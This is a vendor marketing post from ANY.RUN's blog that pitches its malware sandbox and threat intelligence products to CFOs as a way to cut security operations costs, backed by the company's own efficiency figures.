Investigating a suspicious file, link, email, or phishing page can take hours when analysts must reproduce each stage manually and collect evidence across several tools.

ANY.RUN’s Interactive Sandbox can expose the full attack flow in approximately two minutes. Analysts see the processes launched, files created, network connections, HTTP requests, redirects, IOCs, behavioral indicators, screenshots, and MITRE ATT&CK techniques in one investigation view. 

Automated Interactivity performs many of the actions an analyst would otherwise complete by hand. It can launch attachments, extract and follow links, click through pages, solve CAPTCHA challenges, and continue through multi-stage attacks. The sandbox mimics the actions required to keep the malicious flow running instead of stopping when a threat waits for user input. 

This reduces handling time and keeps analysts from rebuilding the same evidence manually. Junior and mid-level employees can make decisions with greater confidence, while senior specialists become involved only when the case genuinely requires deeper expertise. 

Lower the Labor Cost of IOC Enrichment 

An isolated IP address, domain, URL, or file hash often requires several searches before an analyst can determine its relevance. Each additional source adds handling time, and incomplete context increases the chance of an unnecessary escalation. 

Threat Intelligence Lookup gives analysts access to data collected from sandbox sessions submitted by 15,000 organizations and 600,000 security professionals worldwide. 

Each indicator is connected to the sandbox sessions where it appeared. The analyst can review related samples, infrastructure, network activity, behavior, and attacker techniques without assembling the investigation from separate sources. 

The cost benefit grows with case volume. Shorter enrichment time reduces the unit cost of each investigation, helps the team process more alerts, and lowers the amount of senior labor spent validatingroutine indicators. 

Get More Value from Existing Security Investments 

Security systems lose value when they depend on stale indicators or require employees to research and validate incoming intelligence manually. 

ANY.RUN’s Threat Intelligence Feeds provide continuously updated malicious IP addresses, domains, and URLs extracted from live sandbox investigations. New indicators are added as current malware and phishing threats are analyzed, rather than relying only on historical or broadly aggregated data. 

Every IOC is connected to supporting context and the relevant sandbox session. This lets the SOC see why an indicator was classified as malicious and review the behavior and TTPs behind it without beginning a separate investigation from zero. 

The feeds can be delivered into SIEM, SOAR, XDR, EDR, and threat intelligence systems through existing integrations, APIs, SDKs, and STIX/TAXII. 

This increases the return on systems the company already funds. Fresher intelligence improves their detection coverage, while analysts spend less time collecting, checking, and distributing indicators across the security stack. 

Lower TCO with Cloud Delivery 

An internal malware-analysis environment carries costs beyond the initial hardware purchase. It requires isolated servers or virtual machines, operating-system images, security controls, updates, maintenance, internal support, and additional capacity as submission volume grows. 

ANY.RUN is cloud-based and fully accessible through a browser. Teams can begin investigating threats without deploying dedicated servers or asking internal engineering teams to build and maintain a separate analysis environment. 

This makes the total cost of ownership easier to forecast. The company avoids much of the capital spending, maintenance work, infrastructure support, and future expansion associated with an on-premises sandbox. 

The savings build across all four areas: fewer analyst hours per investigation, lower dependence on senior specialists, better use of existing security investments, and less infrastructure overhead. The SOC gains capacity while payroll and operational costs remain more controlled. 

The CFO Payoff: Lower Costs, More Capacity, Less Risk 

ANY.RUN helps convert security improvements into measurable financial outcomes: 

• Lower operating cost per case: Reducing MTTR by up to 21 minutes per investigation means fewer paid hours spent handling each alert and more capacity from the existing payroll. 
• Delay additional hiring: A workload reduction of up to 20% for Tier 1 gives the SOC room to absorb higher alert volumes before another recruitment cycle is required. 
• Protect high-cost specialist capacity: A 30% reduction in Tier 1-to-Tier 2 escalations keeps more routine work away from senior employees and lowers the blended labor cost of investigations. 
• Improve workforce productivity: With 94% of users reporting faster triage, the team can process more cases within the same staffing budget and reduce the cost created by growing backlogs. 
• Shorten time-to-productivity: Visual attack evidence and structured reports help junior employees become effective sooner, reducing onboarding pressure on senior staff. 
• Avoid infrastructure spending: Cloud delivery removes the need to purchase, maintain, and expand dedicated malware-analysis hardware and virtual environments. 
• Increase the return on the existing security stack: Actionable IOCs and threat context strengthen the SIEM, SOAR, XDR, and other systems already included in the security budget. 
• Reduce financial exposure: Earlier threat detection and faster response help limit the likelihood that a manageable security event develops into costly downtime, recovery work, regulatory action, or lost business. 

Together, these outcomes improve the unit economics of the SOC. The company can handle more risk with the team and systems already in place, while keeping payroll growth, infrastructure costs, and potential incident losses under tighter control. 

About ANY.RUN 

ANY.RUN, a leading provider of interactive malware analysis and threat intelligence solutions, helps organizations investigate threats faster and make response decisions based on clear behavioral evidence. 

Its solutions include the Interactive Sandbox for enterprise-scale malware and phishing analysis, along with Threat Intelligence products built on investigation data from more than 15,000 organizations. This intelligence helps security teams enrich alerts, uncover active threats earlier, and add relevant context to detection, investigation, and response workflows. 

ANY.RUN is SOC 2 Type II attested, demonstrating its commitment to strong security controls and customer data protection. For SOCs, MSSPs, and enterprise security teams, the platform helps reduce investigation uncertainty, accelerate triage, and turn threat analysis into actionable findings. 

The post The US CFO’s Playbook: How to Reduce Cyber Risk Without Scaling SOC Team in a Tight Labor Market appeared first on ANY.RUN's Cybersecurity Blog.